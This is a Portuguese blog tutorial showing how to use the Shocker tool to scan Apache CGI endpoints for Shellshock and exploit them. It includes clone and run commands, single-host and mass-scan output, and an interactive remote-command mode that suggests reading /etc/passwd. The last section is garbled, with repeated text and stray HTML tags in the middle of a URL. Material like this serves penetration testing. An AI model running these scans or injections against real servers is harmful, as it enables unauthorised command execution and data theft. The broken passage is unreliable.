terça-feira, 3 de maio de 2016

Shoker :: Encontrando e Explorando falhas de Shellshock nas CGI do Apache


O Bash Shellshock é uma vulnerabilidade encontrada no Bash de sistemas GNU/Linux e seus forks como MacOS e etc que utilizavam a versão 1.14 à 4.3. Ela permite o atacante executar diversas instruções diretamente do Bash do usuário do Apache por meio das CGI's do apache de primeiro momento. O modo mais convencional de fazer isso é enviando uma requisição HTTP com um user agent modificado com o comando embutido dentro, fazendo com que o response do HTTP retorne o output do comando. Uma ferramenta bem bacana que faz vários testes automatizados em CGI's é o Shocker. Ele é totalmente feito em Python e é bem bacana.

Git do projeto: https://github.com/nccgroup/shocker

Instalação 

Faça o clone da ferramenta, presumindo que você já tenha o Python instalado 
 # git clone https://github.com/nccgroup/shocker.git  
 # cd shoker  
 # python shoker.py  

 matheus@fidelis:~/Tools/shocker$ python shocker.py   
   
   .-. .      .        
  (  )|      |        
   `-. |--. .-. .-.|.-. .-. .--.  
  (  )| |(  )(  |-.'(.-' |    
   `-' ' `-`-' `-'' `-`--'' v1.0   
     
  Tom Watson, tom.watson@nccgroup.trust  
  https://www.github.com/nccgroup/shocker  
      
  Released under the GNU Affero General Public License  
  (https://www.gnu.org/licenses/agpl-3.0.html)  
     
     
 usage: shocker.py [-h] (--Host HOST | --file FILE)  
          [--cgilist CGILIST | --cgi CGI] [--port PORT]  
          [--command COMMAND] [--proxy PROXY] [--ssl]  
          [--threads THREADS] [--verbose]  
 shocker.py: error: one of the arguments --Host/-H --file/-f is required  
   

Scanning simples de um host

O tipo de scanning mais simples que podemos realizar é passando somente o IP do host. Ele irá testar a porta 80 como default.
 # ./shocker.py -H 192.168.0.9  
 [+] 402 potential targets imported from ./shocker-cgi_list  
 [+] Checking connectivity with target...  
 [+] Target was reachable  
 [+] Looking for vulnerabilities on 192.168.0.9:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] 1 potential target found, attempting exploits  
 [+] The following URLs appear to be exploitable:  
  [1] http://192.168.0.9:80/  
 [+] Would you like to exploit further?  
 [>] Enter an URL number or 0 to exit: 1  
 [+] Entering interactive mode for http://192.168.0.9:80/  
 [+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'  
  > DIGITE UM COMANDO PARA TESTAR AQUI   
   

Scanning em lista 

Você pode montar listas de hosts para fazer testes em massa na sua rede e etc. Vou criar um arquivo contendo alguns IP's aleatórios de máquinas virtuais da minha rede interna rodando servidores Apache de diferentes versões. vou criar um arquivo chamado list.txt


 # ./shocker.py -f list.txt   
 [+] Looking for vulnerabilities on 192.168.0.9:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.200:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.61:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.153:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.172:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.140:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.246:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.201:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] Looking for vulnerabilities on 192.168.0.252:80  
 [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)  
   
 [+] 129 potential targets found, attempting exploits  
   

Utilizando comandos na requisição ao CGI

Você poderá inserir comandos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo: "/bin/ls -l /etc" ao invés de "ls -l" .
 [+] Would you like to exploit further?  
 [>] Enter an URL number or 0 to exit: 90  
 [+] Entering interactive mode for http://1andos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo:<br />
<br />andos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo:<br />
<br />
<br />
<br /></div>

<br />
<br /></div>
 
 [+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'  


Espero ter ajudado :)

SOBRE O AUTOR

Matheus Fidelis

http://msfidelis.github.io/

Power Ranger, Piloto de Helicópteros e Astronauta da NASA. Desenvolvedor Web PHP com foco em Backend e POO, Linux SysAdmin DevOps e Entusiasta Python. Criou esse site pra contribuir com a comunidade com coisas que aprende dentro de um setor maluco de TI :)

1 comentários:

  1. Poooooh Fidelis podia ter usado o code do brother aqui né kkkk
    https://github.com/mthbernardes/EvilTool/

    ResponderExcluir

 
Nanoshots | Open Source Security, Linux e Tutoriais © 2015 - Designed by Templateism.com